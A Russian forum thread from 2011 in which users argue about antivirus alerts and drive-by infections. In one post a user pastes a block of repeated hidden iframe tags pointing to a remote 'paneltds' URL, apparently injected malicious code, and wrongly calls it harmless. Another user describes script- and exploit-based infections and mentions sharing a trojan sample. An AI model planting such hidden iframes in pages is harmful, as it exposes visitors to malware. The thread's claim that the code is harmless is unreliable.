Антивирусы, Какой лучший? Опции

[avg]

Человек_32, у меня нод сразу тревогу забил

[Wam-pyR!!!]

avrilo4kagirl, ииии? ©
Я ни нашёл ничего кроме

Код

<iframe src="http://kindpeople.ru/paneltds/in.cgi?20" style="display:none"></iframe>
<iframe src="http://kindpeople.ru/paneltds/in.cgi?20" style="display:none"></iframe>
<iframe src="http://kindpeople.ru/paneltds/in.cgi?20" style="display:none"></iframe>
<iframe src="http://kindpeople.ru/paneltds/in.cgi?20" style="display:none"></iframe>
<iframe src="http://kindpeople.ru/paneltds/in.cgi?20" style="display:none"></iframe>
<iframe src="http://kindpeople.ru/paneltds/in.cgi?20" style="display:none"></iframe>
<iframe src="http://kindpeople.ru/paneltds/in.cgi?20" style="display:none"></iframe>
<iframe src="http://kindpeople.ru/paneltds/in.cgi?20" style="display:none"></iframe>
<iframe src="http://kindpeople.ru/paneltds/in.cgi?20" style="display:none"></iframe>

Мы видим только страницу в интернете, никакого вредоносного кода, я даже туда бегал.
Некоторые антивирусы на это жалуются либо по ошибке, либо по делу, что уже в прошлом.

[avg]

и тут тоже не вирус, да?

[Wam-pyR!!!]

avrilo4kagirl, Видимо, нет. Эту игра у мя есть, недавно обсуждали в теме, спасибо за ссылку

[avg]

ZombieO_o, если че то там троян
ОФФТОП: ааа, моя любимая игруха

[Wam-pyR!!!]

avrilo4kagirl, А где именно?
На странице тока картинка, текст и ссылки.
Троян - это программа (обычно exe), маскирующаяся под что-то полезное,
но при открытии сайта ничего подобного не открывается

P.S. Возможно, сайт был просто внесён в чёрный список правообладателями, т.к. распространяет платную программу (игру)?
Либо даже чит-коды к ней - уже причина для бана

Сообщение отредактировал ZombieO_o - 12th Jan 11 - 19:51

[avg]

ZombieO_o,

[Wam-pyR!!!]

avrilo4kagirl, Я смотрел исходник этой страницы 2 раза. Только картинки, текст и ссылки.
Ошибки случаются.
Вот скачал 1 исполняемый файл оттуда, и Comodo жалуется на то, что файл просто упакован неизвестным ему способом. Это ни о чём.
Сам сайт рабочий, я не понимаю, как он попал в чёрный список, хотя, вот что у него ftp не работает, стоило бы

[avg]

однако в files.drakan.ru (там уровни есть) ) свободно заходит

[Человек_32]

ZombieO_o, ты лол. я тебе показал как это всё работает а ты даже и не понял XD
вместо ссылки на "только страницу в интернете" может сидеть джава-апплет который грузит с удалённого сервера тело вируса тебе в кэш и тут же запускается виртуальной джава машиной. как результат ты получаешь порно-баннер во весь рост. госсподи, ну не тупи.

[Wam-pyR!!!]

Человек_32, Это ты не понял.
Ссылка бы так и пропала во временных файлах оперы
если бы антивирус не нашёл тот файл,
а я не ввёл адрес из него в браузере.
Плин, хочу порнобаннер

Сообщение отредактировал ZombieO_o - 13th Jan 11 - 07:04

[Человек_32]

ZombieO_o, какой ты тугой блин. в код сайта вставляется javascript который например скачивает с удалённого сервера тело вируса и сохраняет его на ПК жертвы по средствам ActiveX. далее скрипт обращается к объекту ActiveX и запускает уже сам вирус.
вот пример такого вируса который пытался проникнуть ко мне именно таким путём. пароль к архиву: 123

[Wam-pyR!!!]

Человек_32, Ты просто .exe троян выложил.
Какой смысл говорить про java и activex тогда?
На его месте мог быть любой другой файл.

Скажи, ты этот файл нашёл у себя на компе или просто скачал откуда-то?

[Человек_32]

ZombieO_o, я рассказал тебе про то, как вирус попадает и самозапускается на ПК без участия пользователя, т.е. без запуска исполняемого файла. ты говорил что это невозможно. так же ты просил пример порнобаннера, я тебе его и предоставил.
как было у меня - через эксплойт в опере пролез скрипт который скачал и запустил этот троян, он тут же прописался в шелл. я нашёл у себя в папке кэша оперы.

ну или это был эксплойт флеша. у меня не сохранилось прямой ссылки

Сообщение отредактировал Человек_32 - 14th Jan 11 - 13:30

[Wam-pyR!!!]

Человек_32, Рассказать не значит доказать.
Вообще, какие программы могут запускать исполняемые файлы? Opera и Flash, кажется, нет.
И потом, у Винды кроме запрета на запуск программы с администраторскими правами существует защита,
а так же, DEP.

так же ты просил пример порнобаннера, я тебе его и предоставил.

Лан, потестим Смотри если у меня комп упадёт, а порнобаннер я не увижу

без запуска исполняемого файла. ты говорил что это невозможно

Относительно.
Просто открыв архив с исполняемыми заражёнными файлами и скопировав содержимое на диск, это невозможно.
Угроза запуска вируса во время путешествий в интернете
и открытия других документов специализированными программами просмотра
в принципе существует.

он тут же прописался в шелл

Меню винды?

я нашёл у себя в папке кэша оперы.

Кэш оперы ни как не работает. Только если ты посетишь ту же страницу снова, она загрузится быстрее